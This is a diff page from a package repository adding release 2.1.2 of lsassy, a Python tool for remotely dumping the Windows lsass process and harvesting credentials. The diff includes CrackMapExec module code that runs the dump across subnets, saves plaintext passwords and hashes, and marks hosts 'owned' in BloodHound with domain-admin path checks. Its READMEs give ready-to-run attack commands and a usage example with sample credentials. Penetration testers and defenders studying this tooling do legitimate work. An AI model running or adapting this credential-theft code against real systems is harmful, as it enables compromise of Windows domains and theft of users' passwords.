Codebase list python-lsassy / 15de6f4
New upstream version 2.1.2 Sophie Brun 4 years ago
33 changed file(s) with 2858 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 # These are supported funding model platforms
1
2 #github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
3 ko_fi: hackndo
0 ---
1 name: Bug report
2 about: Create a report to help me improve lsassy :)
3 title: ''
4 labels: ''
5 assignees: Hackndo
6
7 ---
8
9 <!--
10 These comment won't show up when you submit the issue.
11 Before submitting an issue, check that you're using the latest version
12 Send as much details as possible.
13 * For standalone lsassy, please use the -d debug flag
14 * For CME module, please use CrackMapExec --verbose flag
15 -->
16
17 ## Version(s)
18
19 * lsassy : version Y
20 * CME : version Y
21 * <other>
22
23 ## Describe the bug
24
25 A clear description of what the bug is.
26
27 ## Expected behavior
28
29 A clear description of what you expected to happen.
30
31 ## Screenshots
32
33 If applicable, add screenshots to help explain your problem.
34 * For standalone lsassy, please use maximum verbosity `-vv`
35 * For CME module, please use CrackMapExec --verbose flag
36
37 ## Additional context
38
39 Add any other context about the problem here.
0 # Byte-compiled / optimized / DLL files
1 __pycache__/
2 *.py[cod]
3 *$py.class
4
5 # Distribution / packaging
6 .Python
7 build/
8 develop-eggs/
9 dist/
10 downloads/
11 eggs/
12 .eggs/
13 lib/
14 lib64/
15 parts/
16 sdist/
17 var/
18 wheels/
19 pip-wheel-metadata/
20 share/python-wheels/
21 *.egg-info/
22 .installed.cfg
23 *.egg
24 MANIFEST
25
26 # virtualenv
27 env
28 .env
29 venv
30 .venv
31
32 # IDE
33 .idea
34
35 # Tests
36 tests/tests_config.py
0 MIT License
1
2 Copyright (c) 2018 Tamas Jos
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is
9 furnished to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
20 SOFTWARE.
0 clean:
1 rm -f -r build/
2 rm -f -r dist/
3 rm -f -r *.egg-info
4 find . -name '*.pyc' -exec rm -f {} +
5 find . -name '*.pyo' -exec rm -f {} +
6 find . -name '*~' -exec rm -f {} +
7
8 publish: clean
9 python3.7 setup.py sdist bdist_wheel
10 python3.7 -m twine upload dist/*
11
12 testpublish: clean
13 python3.7 setup.py sdist bdist_wheel
14 python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/*
15
16 rebuild: clean
17 python3.7 setup.py install
18
19 build: clean
20 python3.7 setup.py install
21
22 install: build
23
24 test:
25 python3.7 setup.py test
0 # lsassy
1
2 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.2&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
3
4 ![Example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png)
5
6 Python library to remotely extract credentials on a set of hosts. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works.
7
8 This library uses [impacket](https://github.com/SecureAuthCorp/impacket) project to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials.
9
10 | Chapters | Description |
11 |----------------------------------------------|---------------------------------------------------------|
12 | [Requirements](#requirements) | Requirements to install lsassy from source |
13 | [Documentation](#documentation) | Lsassy documentation |
14 | [CrackMapExec Module](#crackmapexec-module) | Link to CrackMapExec module included in this repository |
15 | [Issues](#issues) | Read this before creating an issue |
16 | [Acknowledgments](#acknowledgments) | Kudos to these people and tools |
17 | [Contributors](#contributors) | People contributing to this tool |
18
19 ## Requirement
20
21 * Python >= 3.6
22
23 ## Documentation
24
25 The tool is fully documented in the project's [wiki](https://github.com/Hackndo/lsassy/wiki)
26
27 ### Installation
28
29 * [Installation](https://github.com/Hackndo/lsassy/wiki/Lsassy-Installation)
30
31 ### Standalone
32
33 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-Basic-Usage)
34 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage)
35
36 ### Library
37
38 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-lib-Basic-Usage)
39 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-lib-Advanced-Usage)
40
41 ### CrackMapExec module
42
43 * [Installation](https://github.com/Hackndo/lsassy/wiki/CME-Installation)
44 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/CME-Basic-Usage)
45 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/CME-Advanced-Usage)
46
47 ## CrackMapExec module
48
49 I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts
50
51 CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme)
52
53 ## Issues
54
55 If you find an issue with this tool (that's very plausible !), please
56
57 * Check that you're using the latest version
58 * Send as much details as possible.
59 - For standalone **lsassy**, please use maximum verbosity `-vv`
60 - For CME module, please use CrackMapExec `--verbose` flag
61
62 ## Changelog
63
64 ```
65 v2.1.0
66 ------
67 * Kerberos authentication support (Thank you laxa for PR)
68 * Add CME module for python3
69 * Update bloodhound queries for BloodHound3
70 * Bug fixes
71
72 v2.0.0
73 ------
74 * Multiprocessing support to dump credentials on multiple hosts at a time
75 * Add new dumping method using "dumpert"
76 * Can be used as a library in other python projects
77 * Syntax changed to be more flexible
78 * Complete code refactoring, way more organized and easy to maintain/extend
79 * Better error handling
80 * Complete wiki
81
82 v1.1.0
83 ------
84 * Better execution process : --method flag has been added and described in help text
85 * Uses random dump name
86 * Chose between cmd, powershell, dll and/or procdump methods
87 * CME module is now using light lsassy WMIExec et TASKExec implementation
88 * Bug fixes
89
90 v1.0.0
91 ------
92 * Built-in lsass dump
93 ** Lsass dump using built-in Windows
94 ** Lsass dump using procdump (using -p parameter)
95 * Add --dumppath to ask for remote parsing only
96 * Code refactoring
97 * Add --quiet to quiet output
98
99 v0.2.0
100 ------
101 * Add BloodHound option to CME module (-o BLOODHOUND=True)
102 - Set compromised targets as "owned" in BloodHound
103 - Check if compromised users have at least one path to domain admin
104 * Custom parsing (json, grep, pretty [default])
105 * New --hashes option to lsassy
106 * Include CME module in repository
107 * Add credentials to CME database
108
109
110 v0.1.0
111 ------
112 First release
113 ```
114
115 ## Acknowledgments
116
117 * [Impacket](https://github.com/SecureAuthCorp/impacket)
118 * [SkelSec](http://twitter.com/skelsec) for Pypykatz, but also for his patience and help
119 * [mpgn](https://twitter.com/mpgn_x64) for his help and ideas
120
121 ## Contributors
122
123 * [ITPPA](https://github.com/ITPPA/)
124 * [viaccoz](https://github.com/viaccoz)
125 * [blurbdust](https://github.com/blurbdust)
126 * [exploide](https://github.com/exploide)
127 * [Laxa](https://github.com/Laxa)
Binary diff not shown
Binary diff not shown
0 # lsassy CrackMapExec Module
1
2 ![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red)
3
4 This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**.
5
6 ![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example_cme.png)
7
8 ## Requirements
9
10 * Python2.7
11 - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
12 * Python3.6+
13 - [lsassy](https://github.com/Hackndo/lsassy/)
14
15
16 ## Installation
17
18 * Install **lsassy**
19
20 ### Python2
21
22 * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py)
23 * Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules`
24 * Reinstall CrackMapExec using python2.7 `python setup.py install`
25
26 ```bash
27 python3 -m pip install lsassy
28 wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py
29 cp lsassy.py /opt/CrackMapExec/cme/modules/
30 cd /opt/CrackMapExec
31 python2.7 setup.py install
32 ```
33
34 ### Python3
35
36 * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py)
37 * Copy `lsassy3.py` in `[CrackMapExec Path]/cme/modules`
38 * Reinstall CrackMapExec using python3 `python setup.py install`
39
40 ```bash
41 python3 -m pip install lsassy
42 wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py
43 cp lsassy3.py /opt/CrackMapExec/cme/modules/
44 cd /opt/CrackMapExec
45 python3 setup.py install
46 ```
47
48 ## Usage
49
50 ### Basic
51
52 ```bash
53 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy
54 ```
55
56 ### Advanced
57
58 By default, this module uses `rundll32.exe` with `comsvcs.dll` DLL to dump lsass process on the remote host, with method **1** of lsassy.
59
60 If you want to specify the dumping method, use the `METHOD` option (`lsassy -h` for more details)
61
62 ```bash
63 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=3
64 ```
65
66 If you're using a method that requires procdump, you can specify procdump location with `PROCDUMP_PATH` option.
67
68 ```bash
69 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=2 PROCDUMP_PATH=/opt/Sysinternals/procdump.exe
70 ```
71
72 By default, lsass dump name is randomly generated. If you want to specify a dump name, you can use `REMOTE_LSASS_DUMP` option.
73
74 ```bash
75 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o REMOTE_LSASS_DUMP=LSASSY_DUMP.dmp
76 ```
77
78 ### BloodHound
79
80 You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks :
81 * Set "owned" on BloodHound computer nodes that are compromised
82 * Detect compromised users that have a **path to domain admin**
83
84 ```bash
85 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True
86 ```
87
88 You can check available options using
89
90 ```
91 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options
92 [*] lsassy module options:
93
94 METHOD Method to use to dump procdump with lsassy. See lsassy -h for more details
95 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
96 PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used
97 BLOODHOUND Enable Bloodhound integration (default: false)
98 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
99 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
100 NEO4JUSER Username for Neo4j database (default: 'neo4j')
101 NEO4JPASS Password for Neo4j database (default: 'neo4j')
102 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
103
104 ```
105
106 ## Issue
107
108 If you find an issue with this tool (that's very plausible !), please
109
110 * Check that you're using the latest version
111 * Send as much details as possible.
112 - For standalone **lsassy**, please use the `-d` debug flag
113 - For CME module, please use CrackMapExec `--verbose` flag
114
115 Have fun
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import json
7 import subprocess
8 import sys
9
10
11 class CMEModule:
12 name = 'lsassy'
13 description = "Dump lsass and parse the result remotely with lsassy"
14 supported_protocols = ['smb']
15 opsec_safe = True
16 multiple_hosts = True
17
18 def options(self, context, module_options):
19 """
20 METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
21 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
22 PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
23 DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
24 BLOODHOUND Enable Bloodhound integration (default: false)
25 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
26 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
27 NEO4JUSER Username for Neo4j database (default: 'neo4j')
28 NEO4JPASS Password for Neo4j database (default: 'neo4j')
29 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
30 """
31
32 self.method = False
33 self.remote_lsass_dump = False
34 self.procdump_path = False
35 self.dumpert_path = False
36
37 if 'METHOD' in module_options:
38 self.method = module_options['METHOD']
39
40 if 'REMOTE_LSASS_DUMP' in module_options:
41 self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
42
43 if 'PROCDUMP_PATH' in module_options:
44 self.procdump_path = module_options['PROCDUMP_PATH']
45
46 if 'DUMPERT_PATH' in module_options:
47 self.dumpert_path = module_options['DUMPERT_PATH']
48
49 self.bloodhound = False
50 self.neo4j_URI = "127.0.0.1"
51 self.neo4j_Port = "7687"
52 self.neo4j_user = "neo4j"
53 self.neo4j_pass = "neo4j"
54 self.without_edges = ""
55
56 if module_options and 'BLOODHOUND' in module_options:
57 self.bloodhound = module_options['BLOODHOUND']
58 if module_options and 'NEO4JURI' in module_options:
59 self.neo4j_URI = module_options['NEO4JURI']
60 if module_options and 'NEO4JPORT' in module_options:
61 self.neo4j_Port = module_options['NEO4JPORT']
62 if module_options and 'NEO4JUSER' in module_options:
63 self.neo4j_user = module_options['NEO4JUSER']
64 if module_options and 'NEO4JPASS' in module_options:
65 self.neo4j_pass = module_options['NEO4JPASS']
66 if module_options and 'WITHOUT_EDGES' in module_options:
67 self.without_edges = module_options['WITHOUT_EDGES']
68
69 def on_admin_login(self, context, connection):
70 if self.bloodhound:
71 self.set_as_owned(context, connection)
72
73 """
74 Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
75 imported. For this reason, connection information must be sent to lsassy
76 so it can create a new connection.
77
78 When CME is py3.6 compatible, CME connection object will be reused.
79 """
80 domain_name = connection.domain
81 username = connection.username
82 password = getattr(connection, "password", "")
83 lmhash = getattr(connection, "lmhash", "")
84 nthash = getattr(connection, "nthash", "")
85
86 password = "" if password is None else password
87 lmhash = "" if lmhash is None else lmhash
88 nthash = "" if nthash is None else nthash
89
90 host = connection.host
91
92 command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format(
93 domain_name, username, password, lmhash, nthash, host
94 )
95
96 if context.verbose:
97 command += " -vv "
98
99 if self.method:
100 command += " --method {}".format(self.method)
101
102 if self.remote_lsass_dump:
103 command += " --dumpname {}".format(self.remote_lsass_dump)
104
105 if self.procdump_path:
106 command += " --procdump {}".format(self.procdump_path)
107
108 if self.dumpert_path:
109 command += " --dumpert {}".format(self.dumpert_path)
110
111 # Parsing lsass dump remotely
112 context.log.info('Parsing lsass with lsassy')
113 context.log.debug('Lsassy command : {}'.format(command))
114 code, out, err = self.run(command)
115
116 context.log.debug('----- lsassy output -----')
117 for line in out.split("\n"):
118 context.log.debug('{}'.format(line))
119 context.log.debug('----- end output -----')
120
121 if code != 0:
122 # Debug output
123 if code == 5:
124 context.log.error('Lsass is protected')
125 else:
126 context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details')
127 context.log.debug('----- lsassy error [{}] -----'.format(code))
128 for line in err.split("\n"):
129 context.log.debug('{}'.format(line))
130 context.log.debug('----- end error -----')
131 elif not context.verbose:
132 self.process_credentials(context, connection, out)
133
134 @staticmethod
135 def run(cmd):
136 proc = subprocess.Popen([
137 '/bin/sh', '-c', cmd],
138 stdout=subprocess.PIPE,
139 stderr=subprocess.PIPE,
140 )
141 stdout, stderr = proc.communicate()
142
143 return proc.returncode, stdout, stderr
144
145 def process_credentials(self, context, connection, credentials):
146 credentials = json.loads(credentials)
147 for domain, users in credentials.items():
148 for username, creds in users.items():
149 for cred in creds:
150 password = cred['password']
151 lmhash = cred['lmhash']
152 nthash = cred['nthash']
153 self.save_credentials(context, connection, domain, username, password, lmhash, nthash)
154 self.print_credentials(context, connection, domain, username, password, lmhash, nthash)
155
156 @staticmethod
157 def save_credentials(context, connection, domain, username, password, lmhash, nthash):
158 host_id = context.db.get_computers(connection.host)[0][0]
159 if password is not None:
160 credential_type = 'plaintext'
161 else:
162 credential_type = 'hash'
163 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
164 context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
165
166 def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
167 if password is None:
168 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
169 output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'))
170 if self.bloodhound and self.bloodhound_analysis(context, connection, username):
171 output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
172 context.log.highlight(output)
173
174 def set_as_owned(self, context, connection):
175 try:
176 from neo4j.v1 import GraphDatabase
177 except:
178 from neo4j import GraphDatabase
179 from neo4j.exceptions import AuthError, ServiceUnavailable
180 host_fqdn = (connection.hostname + "." + connection.domain).upper()
181 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
182
183 try:
184 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
185 except AuthError as e:
186 context.log.error(
187 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
188 sys.exit()
189 except ServiceUnavailable as e:
190 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
191 sys.exit()
192 except Exception as e:
193 context.log.error("Unexpected error with Neo4J")
194 context.log.debug("Error : ".format(str(e)))
195 sys.exit()
196
197 with driver.session() as session:
198 with session.begin_transaction() as tx:
199 result = tx.run(
200 "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
201 if len(result.value()) > 0:
202 context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
203 else:
204 context.log.error(
205 "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
206 driver.close()
207
208 def bloodhound_analysis(self, context, connection, username):
209 try:
210 from neo4j.v1 import GraphDatabase
211 except:
212 from neo4j import GraphDatabase
213 from neo4j.exceptions import AuthError, ServiceUnavailable
214 username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
215 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
216
217 try:
218 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
219 except AuthError as e:
220 context.log.error(
221 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
222 return False
223 except ServiceUnavailable as e:
224 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
225 return False
226 except Exception as e:
227 context.log.error("Unexpected error with Neo4J")
228 context.log.debug("Error : ".format(str(e)))
229 return False
230
231 edges = [
232 "MemberOf",
233 "HasSession",
234 "AdminTo",
235 "AllExtendedRights",
236 "AddMember",
237 "ForceChangePassword",
238 "GenericAll",
239 "GenericWrite",
240 "Owns",
241 "WriteDacl",
242 "WriteOwner",
243 "CanRDP",
244 "ExecuteDCOM",
245 "AllowedToDelegate",
246 "ReadLAPSPassword",
247 "Contains",
248 "GpLink",
249 "AddAllowedToAct",
250 "AllowedToAct",
251 "SQLAdmin"
252 ]
253 # Remove blacklisted edges
254 without_edges = [e.lower() for e in self.without_edges.split(",")]
255 effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
256
257 with driver.session() as session:
258 with session.begin_transaction() as tx:
259 query = """
260 MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
261 WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
262 RETURN COUNT(p) AS pathNb
263 """.format(username, '|'.join(effective_edges))
264
265 context.log.debug("Query : {}".format(query))
266 result = tx.run(query)
267 driver.close()
268 return result.value()[0] > 0
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import json
7 import subprocess
8 import sys
9
10 from lsassy import Lsassy, Logger, Dumper, Parser, Writer
11
12
13 class CMEModule:
14 name = 'lsassy'
15 description = "Dump lsass and parse the result remotely with lsassy"
16 supported_protocols = ['smb']
17 opsec_safe = True
18 multiple_hosts = True
19
20 def options(self, context, module_options):
21 """
22 METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
23 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
24 PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
25 DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
26 BLOODHOUND Enable Bloodhound integration (default: false)
27 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
28 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
29 NEO4JUSER Username for Neo4j database (default: 'neo4j')
30 NEO4JPASS Password for Neo4j database (default: 'neo4j')
31 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
32 """
33
34 self.method = False
35 self.remote_lsass_dump = False
36 self.procdump_path = False
37 self.dumpert_path = False
38
39 if 'METHOD' in module_options:
40 self.method = module_options['METHOD']
41
42 if 'REMOTE_LSASS_DUMP' in module_options:
43 self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
44
45 if 'PROCDUMP_PATH' in module_options:
46 self.procdump_path = module_options['PROCDUMP_PATH']
47
48 if 'DUMPERT_PATH' in module_options:
49 self.dumpert_path = module_options['DUMPERT_PATH']
50
51 self.bloodhound = False
52 self.neo4j_URI = "127.0.0.1"
53 self.neo4j_Port = "7687"
54 self.neo4j_user = "neo4j"
55 self.neo4j_pass = "neo4j"
56 self.without_edges = ""
57
58 if module_options and 'BLOODHOUND' in module_options:
59 self.bloodhound = module_options['BLOODHOUND']
60 if module_options and 'NEO4JURI' in module_options:
61 self.neo4j_URI = module_options['NEO4JURI']
62 if module_options and 'NEO4JPORT' in module_options:
63 self.neo4j_Port = module_options['NEO4JPORT']
64 if module_options and 'NEO4JUSER' in module_options:
65 self.neo4j_user = module_options['NEO4JUSER']
66 if module_options and 'NEO4JPASS' in module_options:
67 self.neo4j_pass = module_options['NEO4JPASS']
68 if module_options and 'WITHOUT_EDGES' in module_options:
69 self.without_edges = module_options['WITHOUT_EDGES']
70
71 def on_admin_login(self, context, connection):
72 if self.bloodhound:
73 self.set_as_owned(context, connection)
74
75 """
76 Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
77 imported. For this reason, connection information must be sent to lsassy
78 so it can create a new connection.
79
80 When CME is py3.6 compatible, CME connection object will be reused.
81 """
82 domain_name = connection.domain
83 username = connection.username
84 password = getattr(connection, "password", "")
85 lmhash = getattr(connection, "lmhash", "")
86 nthash = getattr(connection, "nthash", "")
87
88 password = "" if password is None else password
89 lmhash = "" if lmhash is None else lmhash
90 nthash = "" if nthash is None else nthash
91
92 host = connection.host
93
94 log_options = Logger.Options()
95 dump_options = Dumper.Options()
96 parse_options = Parser.Options()
97 write_option = Writer.Options(format="json", quiet=True)
98
99 if self.method:
100 dump_options.method = int(self.method)
101
102 if self.remote_lsass_dump:
103 dump_options.dumpname = self.remote_lsass_dump
104
105 if self.procdump_path:
106 dump_options.procdump_path = self.procdump_path
107
108 if self.dumpert_path:
109 dump_options.dumpert_path = self.dumpert_path
110
111 lsassy = Lsassy(
112 hostname=host,
113 username=username,
114 domain=domain_name,
115 password=password,
116 lmhash=lmhash,
117 nthash=nthash,
118 log_options=log_options,
119 dump_options=dump_options,
120 parse_options=parse_options,
121 write_options=write_option
122 )
123 credentials = lsassy.get_credentials()
124
125 if not credentials['success']:
126 context.log.error(credentials['error_msg'])
127 if context.verbose and credentials['error_exception']:
128 context.log.error(credentials['error_exception'])
129 else:
130 self.process_credentials(context, connection, credentials["credentials"])
131
132 @staticmethod
133 def run(cmd):
134 proc = subprocess.Popen([
135 '/bin/sh', '-c', cmd],
136 stdout=subprocess.PIPE,
137 stderr=subprocess.PIPE,
138 )
139 stdout, stderr = proc.communicate()
140
141 return proc.returncode, stdout, stderr
142
143 def process_credentials(self, context, connection, credentials):
144 for domain, creds in json.loads(credentials).items():
145 for username, passwords in creds.items():
146 for password in passwords:
147 plain = password["password"]
148 lmhash = password["lmhash"]
149 nthash = password["nthash"]
150 self.save_credentials(context, connection, domain, username, plain, lmhash, nthash)
151 self.print_credentials(context, connection, domain, username, plain, lmhash, nthash)
152
153
154
155 @staticmethod
156 def save_credentials(context, connection, domain, username, password, lmhash, nthash):
157 host_id = context.db.get_computers(connection.host)[0][0]
158 if password is not None:
159 credential_type = 'plaintext'
160 else:
161 credential_type = 'hash'
162 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
163 context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
164
165 def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
166 if password is None:
167 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
168 output = "%s\\%s %s" % (domain, username, password)
169 if self.bloodhound and self.bloodhound_analysis(context, connection, username):
170 output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
171 context.log.highlight(output)
172
173 def set_as_owned(self, context, connection):
174 try:
175 from neo4j.v1 import GraphDatabase
176 except:
177 from neo4j import GraphDatabase
178 from neo4j.exceptions import AuthError, ServiceUnavailable
179 host_fqdn = (connection.hostname + "." + connection.domain).upper()
180 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
181
182 try:
183 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
184 except AuthError as e:
185 context.log.error(
186 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
187 sys.exit()
188 except ServiceUnavailable as e:
189 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
190 sys.exit()
191 except Exception as e:
192 context.log.error("Unexpected error with Neo4J")
193 context.log.debug("Error : ".format(str(e)))
194 sys.exit()
195
196 with driver.session() as session:
197 with session.begin_transaction() as tx:
198 result = tx.run(
199 "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
200 if len(result.value()) > 0:
201 context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
202 else:
203 context.log.error(
204 "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
205 driver.close()
206
207 def bloodhound_analysis(self, context, connection, username):
208 try:
209 from neo4j.v1 import GraphDatabase
210 except:
211 from neo4j import GraphDatabase
212 from neo4j.exceptions import AuthError, ServiceUnavailable
213 username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
214 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
215
216 try:
217 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
218 except AuthError as e:
219 context.log.error(
220 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
221 return False
222 except ServiceUnavailable as e:
223 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
224 return False
225 except Exception as e:
226 context.log.error("Unexpected error with Neo4J")
227 context.log.debug("Error : ".format(str(e)))
228 return False
229
230 edges = [
231 "MemberOf",
232 "HasSession",
233 "AdminTo",
234 "AllExtendedRights",
235 "AddMember",
236 "ForceChangePassword",
237 "GenericAll",
238 "GenericWrite",
239 "Owns",
240 "WriteDacl",
241 "WriteOwner",
242 "CanRDP",
243 "ExecuteDCOM",
244 "AllowedToDelegate",
245 "ReadLAPSPassword",
246 "Contains",
247 "GpLink",
248 "AddAllowedToAct",
249 "AllowedToAct",
250 "SQLAdmin"
251 ]
252 # Remove blacklisted edges
253 without_edges = [e.lower() for e in self.without_edges.split(",")]
254 effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
255
256 with driver.session() as session:
257 with session.begin_transaction() as tx:
258 query = """
259 MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
260 WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
261 RETURN COUNT(p) AS pathNb
262 """.format(username, '|'.join(effective_edges))
263
264 context.log.debug("Query : {}".format(query))
265 result = tx.run(query)
266 driver.close()
267 return result.value()[0] > 0
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 from lsassy import Lsassy, Logger, Dumper, Parser, Writer
6
7 log_options = Logger.Options(verbosity=2, quiet=False)
8 dump_options = Dumper.Options(method=2, dumpname="lsass.dmp", procdump="/opt/Sysinternals/procdump.exe")
9 parse_options = Parser.Options(raw=True)
10 write_option = Writer.Options(format="pretty", output_file="/tmp/credentials.txt")
11
12 lsassy = Lsassy(
13 hostname="192.168.1.122",
14 username="pixis",
15 domain="adsec.local",
16 password="h4cknd0",
17 log_options=log_options,
18 dump_options=dump_options,
19 parse_options=parse_options,
20 write_options=write_option
21 )
22 print(lsassy.get_credentials())
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
